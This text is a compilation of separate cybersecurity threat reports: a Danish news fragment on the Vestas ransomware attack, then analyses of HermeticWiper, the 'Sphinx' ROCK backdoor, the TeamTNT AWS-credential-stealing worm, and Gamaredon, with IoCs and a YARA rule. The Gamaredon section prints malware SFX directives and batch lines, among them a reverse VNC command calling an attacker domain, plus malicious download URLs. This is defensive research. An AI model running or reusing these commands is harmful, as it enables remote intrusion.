Det holder dog ikke de cyberkriminielle, som i mange tilfælde er fra Rusland, tilbage. Ifølge Andy Greenberg er hackerne villige til at gå langt: "Russiske hackere - både de pengeinteresserede og de statssponsorerede - har samme motiver. De vil finde et stort mål, hvor de kan lave så meget kaos som muligt. Uanset om det er at ødelægge Mærsks systemer eller ramme Vestas og tusindvis af vindturbiner rundt om i verden, så er det et utåeligt angreb. Enten handler det om at få virksomheder til at betale et løsesum, eller også kan det handle om at skabe kaos," fortsætter Andy Greenberg.
## Vil ske før eller siden
For topchef i Vestas, Henrik Andersen, er det vigtigt, at vi som samfund tager cybertruslen mod energisektoren alvorligt. "Jeg tror, det er vigtigt at komme til den erkendelse, at der er en ganske stigende sandsynlighed for, at du vil blive ramt af det her på et eller andet tidspunkt," siger Henrik Andersen. Han er sikker på, at ransomware-angrebet på Vestas nu har givet medarbejderne en generel større indsigt i sikkerhed og de konsekvenser, som et enkelt forkert klik kan få: "Vi har næsten 7000 medarbejdere i Danmark. Jeg er ikke et sekund i tvivl om, at samtlige medarbejdere nu har en noget andet forståelse for cybersikkerhed, end vi havde for blot tre måneder siden," siger Henrik Andersen.
Selvom angrebet i kroner og ører ikke har kostet Vestas tilnærmelsesvis så meget som angrebene på Mærsk, ISS og Demant, er det ikke en situation, han på nogen måde ønsker, at andre virksomheder kommer til at stå i. "Det får du mig aldrig til at sige. Jeg kunne aldrig ønske det. Hverken at få det gentaget eller at andre får erfaringen. Når jeg kigger tilbage på det, så er det en lærerig erfaring. Men det er nok en af de dyrere købte erfaringer." |
# DiskKill/HermeticWiper: A Disruptive Cyber-Weapon Targeting Ukraine’s Critical Infrastructures
**February 26, 2022**
## Introduction
During the early hours of Thursday, 24 February 2022, Russia launched an attack on Ukraine due to the ongoing dispute over its possible inclusion within NATO countries. This event has led to a tense geo-political climate within the eurozone. All the shared initial information shows that the attack by Russian troops was anticipated by a series of cyber-attacks aimed at delaying communications and creating service interruptions in the IT infrastructures of Ukrainian political and military bodies.
The analyzed samples are connected to a new cyber tool dubbed DiskKill/HermeticWiper. This dangerous malware was designed to make every disk unusable connected to a server infected with the malicious code.
According to the technical analysis of Yoroi CERT, it has been observed that two distinct variants of the sample were developed: one by the cyber-warfare departments of GRU on 23 February at 12:48:53 Moscow time, a day before the invasion, and the second one at 11:37:16 Moscow time on 28 December 2021, 58 days before the start of offensive operations in Ukraine. CERT-Yoroi proceeded with an elevated urgency to analyze samples related to the current invasion retrieved from the European intelligence community.
## Technical Analysis
HermeticWiper is a cyber weapon aimed at disrupting the victim system and making postmortem forensic analyses harder. It was published on the VirusTotal platform on 2022-02-23 at 18:14:17 UTC.
### Static Information
- **Hash:** 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
- **Threat:** DiskKill/HermeticWiper
- **Brief:** Wiper used in the cyberattacks against Ukraine
- **Description:**
- **SSDEEP:** 1536:sBOoa7Nn52wurilmw9BgjKu1sPPxaSLyqC:sBOoa7P2wxlPwV1qPkSuqC
Once executed, it tries to manipulate the privileges using the technique T1134 described in MITRE ATT&CK and elevate itself to “SeBackupPrivilege” and “SeLoadDriverPrivilege.”
When these privileges are successfully gained, the malware can execute all its malicious operations, with the most disruptive being disk and backup manipulation. DiskKill abuses legitimate drivers to manipulate and modify the disks. These drivers are located inside the sample’s resources.
RCDATA Resource contains these drivers compiled for both 32 and 64-bit architectures, in order to adapt the right execution to the victim machine. Each resource is compressed using ms-compress. The driver is a legitimate component of the “EaseUS Partition Master” tool, a widely used disk management utility. This allows attackers to manipulate and corrupt the accesses to the disk drives leveraging the LOLbas attack methods.
After loading the necessary drivers, the malware stores the just extracted file into the special path %System32%, before using it. Then, the sample proceeds to disable the dump feature in case of a crash by modifying the registry key “HKLM\SYSTEM\CurrentControlSet\Control\CrashControl.”
Another interesting capability presented by the sample is disabling the Shadow Copy service to avoid even a partial recovery of the files. The destructive capability of the malware is tampering and wiping the disk data by carrying out a cycle of 100 iterations on the “\\.\PhysicalDrive” object, which it can access thanks to the permissions it gained before using DeviceIoControl.
Once the malware gets access to the disk, it checks if it uses NTFS or FAT file systems through parsing the table formats. After that, depending on the case, it starts to compromise the drives by using the functions “CryptAcquireContextW” and “CryptGenRandom” from the Microsoft Crypto API.
Another interesting feature of the sample is the use of multi-threaded functions to execute all the malicious operations, efficiently parallelizing every malicious activity on the disk.
## Conclusion
HermeticWiper is a new type of sabotage malware aimed at slowing down communications among the critical infrastructures in Ukraine. Currently, there is no evidence of cyber-attacks of this kind targeting other parts of the world. However, organizations need to re-evaluate their current cyber-risk, considering the possibility of entering into a larger cyber operation.
During these last critical hours, where the real war has been anticipated by the spreading of sabotage cyber weapons, like DDoS attacks and wipers, many companies and organizations are shocked and going into a panic. The cyber defender's job is led by ethics and critical thinking to analyze and provide strategies to protect customers from cyber-attacks, trying to limit the panic and confusion created by such attacks while providing actionable information for customers and the security community.
## Indicator of Compromise
- 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
- 96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84
- 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
## Yara Rules
```yara
rule hermetic_wiper {
meta:
description = "Yara rule for the detection of DiskKill/HermeticWiper sample"
author = "Yoroi Malware ZLab"
last_updated = "2022-02-24"
tlp = "WHITE"
category = "informational"
strings:
$a = {458c660fd6459cffd350ffd78bf885ff0f84f70000006a008d8578ffffff506a60576a006a006864000900}
condition:
$a and uint16(0) == 0x5A4D
}
```
This blog post was authored by Luigi Martire, Carmelo Ragusa, and Luca Mella of Yoroi Malware ZLAB. |
# 概述
人面狮行动是活跃在中东地区的网络间谍活动,主要目标可能涉及到埃及和以色列等国家的不同组织,目的是窃取目标敏感数据信息。活跃时间主要集中在2014年6月到2015年11月期间,相关攻击活动最早可以追溯到2011年12月。主要采用利用社交网络进行水坑攻击,截止到目前我总共捕获到恶意代码样本314个,C&C域名7个。
人面狮样本将主程序进行伪装成文档诱导用户点击,然后释放一系列的dll,根据功能分为9个插件模块,通过注册资源管理器插件的方式来实现核心dll自启动,然后由核心dll根据配置文件进行远程dll注入,将其他功能dll模块注入的对应的进程中,所以程序运行的时候是没有主程序的。用户被感染后比较难以发现,且使用多种加密方式干扰分析,根据PDB路径可以看出使用了持续集成工具,从侧面反映了项目比较庞大,开发者应该为专业的组织。
进一步我们分析推测人面狮行动的幕后组织是依托第三方组织开发相关恶意软件,使用相关恶意软件并发起相关攻击行动的幕后组织应该来自中东地区。
## 载荷投递
### 1. 社交网络水坑攻击
我们发现其中一个希伯来语的诱饵文档来自于Facebook以色列军队主页的评论。攻击者通过利用目标所关注的社交网站帐号进行载荷投递,这是一种典型的水坑攻击方式。这与传统的水坑攻击不同,APT攻击中主流的水坑攻击主要分为以下两种:
第一种:目标关注A网站,攻击者将A网站攻陷,并植入恶意代码(一般为漏洞脚本文件,俗称挂马),当目标访问被攻陷的A网站并浏览相关页面时,当目标环境相关应用触发漏洞则有可能被植入恶意代码。
第二种:目标关注A网站,攻击者将A网站攻陷,并将A网站上一些可信应用或链接替换为攻击者所持有的恶意下载链接,当目标访问被攻陷的A网站并将恶意下载链接的文件下载并执行,则被植入恶意代码。
这两种水坑攻击的共性是攻击者需要获得目标所关注网站的修改权限,而本次攻击行动中攻击者完全是利用目标所关注的第三方社交网络平台进行攻击,攻击者只需简单注册,则具备留言评论等权限。
下表是具体恶意下载链接和链接对应的RAR文件MD5。
- 恶意下载链接:hxxp://israelleaks.is-a-chef.com/leaks/isleaks.rar
- 域名状态:目前已经无效,被安全机构封锁
- 下载的RAR文件MD5:1e4ed1704e31917f8652aa0078a85459
RAR压缩包中诱饵文档内容为个人所得税调整,通过修改exe图标为文档来诱导用户点击。
进一步我们发现相关攻击涉及10个社交网络帐号,具体请参看“附录A:希伯来语样本来源”,相关帐号主要涉及如:以色列国防军、以色列海军等以色列军方和政府的社交网络帐号,相关攻击评论时间主要集中在2015年1月底至2月初期间。攻击者通过在社交网络评论下发表回复诱导用户点击,回复的内容为个人所得税改革。
### 2. 诱饵文档
根据诱饵文档的内容,也可以从体现出攻击者关注的目标领域范围,进一步主要分为以下3类:
(A) 埃及:阿拉伯语
此文档的原始文件为爱资哈尔大学反对政变的学生的YouTube主页。
(B) 以色列:希伯来语
文档内容为以色列个人税收改革。
### 3. 自身伪装
分为两种方式,一种伪装成文档或图片,一种伪装成安装程序。前一种方式用户点击后并不会弹出文档或图片,后一种方式点击后安装成功然后会释放出正常的安装程序。
模块的文件属性为Office组件,早期版本安装目录为%UserProfile%\AppData\Roaming\officeplugin,最近版本的安装目录为C:\Program Files\{GUID},比如C:\Program Files\{59f0641e-45ac-11e5-af9e-b8ca3af5855f},伪装成系统组件。
## ROCK后门分析
### 1. 功能简述
人面狮攻击行动中所使用的恶意代码主要以ROCK木马为主,这类家族属于人面狮幕后组织自行开发或委托第三方订制的恶意程序。通过将自身图标修改为文档、图片或安装程序图标,会伪装成pdf文件、图片、flash安装程序,诱导用户点击执行。
主要功能是窃取用户信息,比如系统信息、键盘和鼠标记录、skype监控、摄像头和麦克风监控、浏览器保存的账号密码,以及URL、浏览历史记录等敏感信息。收集信息后会加密并发送到指定C&C。
### 2. 功能结构
配置文件中存储着每个模块的配置信息,比如模块是否开启、数据文件的加密Key、用户ID(rkuid)、过期日期(未设置)、C&C、截图和录音的质量及间隔时间,注入的进程名称等。
Dropper总共会释放出20个dll,32位和64位各10个,每个功能模块都有32位版和64位版。
模块名称及功能:
- zcore:主模块
- zulib:API函数封装
- plgcmd:系统信息、屏幕截图、启动结束进程
- plgcomm:通信模块
- plginput:鼠标和键盘记录
- plgurl:监控浏览器
- plgskype:监控skype聊天记录
- plgavbug:监控摄像头和麦克风
- plgusrstl:用户信息窃取
- plgfsflt:对指定的文件类型进行监控并上传
Zcore主模块启动时解密安装目录下的配置文件,根据配置文件是否开启决定是否注入到指定进程。
### 3. 通信方式
通过HTTP POST向服务器80端口发送数据,数据包中的敏感字符串通过查询json配置文件的对应表替换。
由于网络通信模块注入到浏览器进程中,且使用HTTP POST向C&C的80端口发送数据,使异常流量很难被发现。
### 4. 对抗手法
- 文件名随机:Dropper释放的文件,文件名来自于json文件,重命名为各种名词。
- 字符串加密:所有的字符串都经过加密,且有多个加密算法。
- API封装:大量的API调用被封装在公共库中,干扰静态分析。
- 无主进程运行:核心模块作为explorer.exe的扩展启动,其他功能模块根据配置文件注入到指定进程,无主进程,所以比较难发现。
- 行为隐藏:主模块在explorer中运行,安全软件不会拦截;通讯模块注入到浏览器进程,无浏览器进程不和C&C通信;窃取文件模块注入到杀软,遍历文件的行为不容易被用户发现。
- PE资源和配置文件加密:Dropper中的PE文件经过zlib压缩和AES加密,释放出来的json配置文件也经过此方法加密。
从对抗手段来看,可见人面狮攻击行动中恶意代码开发者无论在静态还是动态对抗上面都花了大量功夫,以达到免杀和隐藏行为的效果。
## 相关线索信息
### 1. 攻击者Facebook帐号信息
攻击者在进行社交网络水坑攻击时主要使用的两个Facebook帐号。
### 2. PDB信息
根据PDB信息我们可以推测以下结论:
- 开发者id为zico
- 工程名称为ROCK-RW2-BRW6R
- 内部定义为rootkits工具
### 3. 诱饵文档
从文件名可以看出,涉及埃及和以色列。
### 4. 释放的木马
样本中释放出一个远控,属于njRat的一个变种,而njRat主要流行于中东地区。
### 5. IP地理位置
其中一个样本的C&C:196.205.194.60所属国家为埃及,且此样本运行时释放的njRAT的C&C为196.205.194.61也是埃及。
## 附录A:希伯来语样本来源
社交网络连接及主页所属组织的日期信息。
## 附录B:最新样本查杀结果 |
# Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials
**August 16, 2020**
Over the weekend we’ve seen a crypto-mining worm spread that steals AWS credentials. It’s the first worm we’ve seen that contains such AWS specific functionality. The worm also steals local credentials and scans the internet for misconfigured Docker platforms. We have seen the attackers, who call themselves “TeamTNT”, compromise a number of Docker and Kubernetes systems.
These attacks are indicative of a wider trend. As organisations migrate their computing resources to cloud and container environments, we are seeing attackers following them there.
## AWS Credential Theft
The AWS CLI stores credentials in an unencrypted file at `~/.aws/credentials`, and additional configuration details in a file at `~/.aws/config`.
The code to steal AWS credentials is relatively straightforward – on execution it uploads the default AWS `.credentials` and `.config` files to the attackers server, sayhi.bplace[.]net. Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX”.
We sent credentials created by CanaryTokens.org to TeamTNT; however, we have not seen them in use yet. This indicates that TeamTNT either manually assess and use the credentials, or any automation they may have created isn’t currently functioning.
## Proliferation
Most crypto-mining worms are an amalgamation of previous worms as authors copy and paste their competitors' code. TeamTNT’s worm contains code copied from another worm named Kinsing, which is designed to stop the Alibaba Cloud Security tools. In turn, it is likely we will see other worms start to copy the ability to steal AWS Credentials files too.
## Docker
The worm also includes code to scan for open Docker APIs using masscan, then spin up docker images and install itself.
## Post Exploitation
The worm deploys the XMRig mining tool to mine Monero cryptocurrency and generate cash for the attackers. One of the mining pools they use provides detailed information about the systems the worm has compromised. So far we have seen two different Monero wallets associated with these latest attacks, which have earned TeamTNT about 3 XMR. That equates to only about $300 USD; however, this is only one of their many campaigns. The worm also deploys a number of openly available malware and offensive security tools:
- punk.py – A SSH post-exploitation tool
- A log cleaning tool
- Diamorphine Rootkit
- Tsunami IRC Backdoor
## TeamTNT
The worm contains numerous references to “TeamTNT” and the domain teamtnt[.]red. The domain hosts malware, and the homepage titled “TeamTNT RedTeamPentesting” is an odd reference to public malware sandboxes.
## Conclusion
Whilst these attacks aren’t particularly sophisticated, the numerous groups out there deploying crypto-jacking worms are successful at infecting large amounts of business systems. Below are some suggestions to help protect them:
- Identify which systems are storing AWS credential files and delete them if they aren’t needed. It’s common to find development credentials have accidentally been left on production systems.
- Use firewall rules to limit any access to Docker APIs. We strongly recommend using a whitelisted approach for your firewall ruleset.
- Review network traffic for any connections to mining pools, or using the Stratum mining protocol.
- Review any connections sending the AWS Credentials file over HTTP.
## Previous Work
We would like to credit the previous research on TeamTNT by Trend Micro, Malware Hunter Team, and r3dbU7z.
## Monero Wallets
- 88ZrgnVZ687Wg8ipWyapjCVRWL8yFMRaBDrxtiPSwAQrNz5ZJBRozBSJrCYffurn1Qg7Jn7WpRQSAA3C8aidaeadAn4xi4k
- 85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh
## Domain Names
- 6z5yegpuwg2j4len.tor2web[.]su
- dockerupdate.anondns[.]net
- teamtntisback.anondns[.]net
- sayhi.bplaced[.]net
- teamtnt[.]red
- healthymiami[.]com (Compromised)
- rhuancarlos.inforgeneses.inf[.]br (Compromised)
## IP Addresses
- 129.211.98[.]236
- 85.214.149[.]236
- 203.195.214[.]104
## File Hashes
- 3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f
- 929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b
- 705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0
## About The Author
Chris Doman is well known for building the popular threat intelligence portal ThreatCrowd, which subsequently merged into the AlienVault Open Threat Exchange, later acquired by AT&T. Chris is an industry-leading threat researcher and has published a number of widely read articles and papers on targeted cyber attacks. His research on topics such as the North Korean government’s cryptocurrency theft schemes, and China’s attacks against dissident websites, have been widely discussed in the media. He has also given interviews to print, radio, and TV such as CNN and BBC News.
## About Cado Security
Cado Security provides the cloud investigation platform that empowers security teams to respond to threats at cloud speed. By automating data capture and processing across cloud and container environments, Cado Response effortlessly delivers forensic-level detail and unprecedented context to simplify cloud investigation and response. Backed by Blossom Capital and Ten Eleven Ventures, Cado Security has offices in the United States and United Kingdom. |
# Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
**Updated Feb. 16**
**By Unit 42**
**February 3, 2022**
**Category:** Government, Malware
**Tags:** Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Russia, Ukraine, WildFire
This post is also available in: 日本語 (Japanese)
**Executive Summary**
Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now amassed over 100,000 troops on Ukraine's eastern border, leading some to speculate that an invasion may come next. On Jan. 14, 2022, this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group.
Since 2013, just prior to Russia’s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon’s evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group.
Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses, and over 100 samples of malware.
Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing (VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity organizations in defending against this threat group.
**Update Feb. 16:** When we originally published this report, we noted, “While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered.” We have since discovered hundreds more Gamaredon-related domains, including known related clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to include these additional domains and cluster observations.
Full visualization of the techniques observed, relevant courses of action, and IoCs related to this Gamaredon report can be found in the Unit 42 ATOM viewer.
Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR and the WildFire, AutoFocus, Advanced URL Filtering, and DNS Security subscription services for the Next-Generation Firewall.
## Gamaredon Downloader Infrastructure (Cluster 1)
Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon’s approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019. Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain continues to resolve to new internet protocol (IP) addresses daily.
Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day. Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure.
Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses; interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two new IP addresses every day into Gamaredon’s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers.
For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the precise day of a phishing campaign. Furthermore, Gamaredon’s technique provides the actors with a degree of control over who can access malicious files hosted on their infrastructure, as a web page’s uniform resource locator (URL) file path embedded in a downloader only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a “404” file not found error for anyone attempting to study the malware.
### Cluster 1 History
While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain “marker” domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically linked naming – several of which are still active in this cluster today.
Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on 195.88.209[.]136, in December 2018.
### Initial Downloaders
Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained Ukrainian filenames.
| Filename | Translation |
|--------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------|
| Максим.docx | Maksim.docx |
| ПІДОЗРА РЯЗАНЦЕВА.docx | RAZANTSEV IS SUSPICIOUS.docx |
| протокол допиту.docx | interrogation protocol.docx |
| ТЕЛЕГРАММА.docx | TELEGRAM.docx |
| 2_Пам’ятка_про_процесуальні_права_та_обов’язки_потерпілого.docx | 2_Memorial_about_processal_rights_and_obligations_of_the_Victim.docx |
| 2_Porjadok_do_nakazu_111_vid_13.04.2017.docx | 2_Procedure_to_order_111_from_13.04.2017.docx |
| висновок тимошечкин.docx | conclusion Timoshechkin.docx |
| Звіт на ДМС за червень 2021 (Автосохранений).doc | Report on the LCA for June 2021 (Autosaved).doc |
| висновок Кличко.docx | Klitschko's conclusion.docx |
| Обвинувальний акт ГЕРМАН та ін.docx | Indictment GERMAN et al.docx |
| супровід 1-СЛ 10 місяців.doc | support 1-SL 10 months.doc |
An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following:
- http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam
- http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp
- http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot
- http://although.coferto[.]ru/[Redacted]/amazing.dot
- http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl
Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp, and others. We believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services. Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns.
Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27, once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing attempt against a Western government entity operating in Ukraine.
In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume, and submitted it through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization.
Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was “NOVEMBER REPORT” and attached to the email was a file called “Report on the LCA for June 2021(Autosaved).doc.” When opened, this Word document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named glitter.kdp.
CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE’s case, after six hours the infrastructure came back to life again and downloaded a SelF-eXtracting (SFX) archive.
This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim computers. The group’s current preference appears to be open-source UltraVNC software.
### SFX Files and UltraVNC
SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel, allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but instead come from inside the network where the victim exists.
To illustrate how this occurs, we will step through one of the SFX files (SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified. When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances, the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found, similar to this:
```
;!@Install@!UTF-8!
InstallPath="%APPDATA%\\Drivers"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:34679.cmd"
```
This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period.
The following files were included in this particular archive:
| SHA256 | Filename |
|-------------------------------------------------------------------------------------------------|-----------------------------------------------|
| 695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa | 34679.cmd |
| d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 | MSRC4Plugin_for_sc.dsm |
| 393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f | QlpxpQpOpDpnpRpC.ini |
| ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c | UltraVNC.ini |
| 304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b | YiIbIbIqIZIiIBI2.jpg |
| 1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9 | kqT5TMTETyTJT4TG.jpg |
| 27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5 | owxxxGxzxqxxxExw.jpg |
| 3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b | rc4.key |
The batch files use randomized alphanumeric strings for the variable names, and – depending on the sample – collect different information or use different domains and filenames; however, at the core they each perform one specific function – initiate the reverse VNC connection. The purpose of this file is to obscure and execute the desired command:
```
start "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080
```
In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous scripts (we’ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will masquerade under, an identifier with which to track the victim, the remote attacker’s domain to which the connection should be made, the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn, the actor tries to blend into normal user traffic to remain under the radar for as long as possible.
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself.
As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and – along with the two files rc4.key and MSRC4Plugin_for_sc.dsm – will encrypt the communication to further hide from network detection tools. It’s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to the system.
The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also that these potentially staged files are not present in all samples.
```
InstallPath="%USERPROFILE%\\Contacts"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp %USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd"
RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd"
```
While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes. Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name svchosst over transmission control protocol (TCP)/8080, leveraging the user’s Windows security identifier (SID) instead of MAC address for the VNC identification. The SFX files simply had the name 1.exe.
```
@for /f %%i in ('wmic useraccount where name^='%USERNAME%' get sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i
set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=8080
set djM8MfMRM0M5MBM0=connect
```
Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the code that prevents it from executing correctly. Note the positional change of the variables as well.
```
set djM8MfMRM0M5MBM0=onnect
set r8JgJJJHJGJmJHJ5=%RANDOM%
set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=80
```
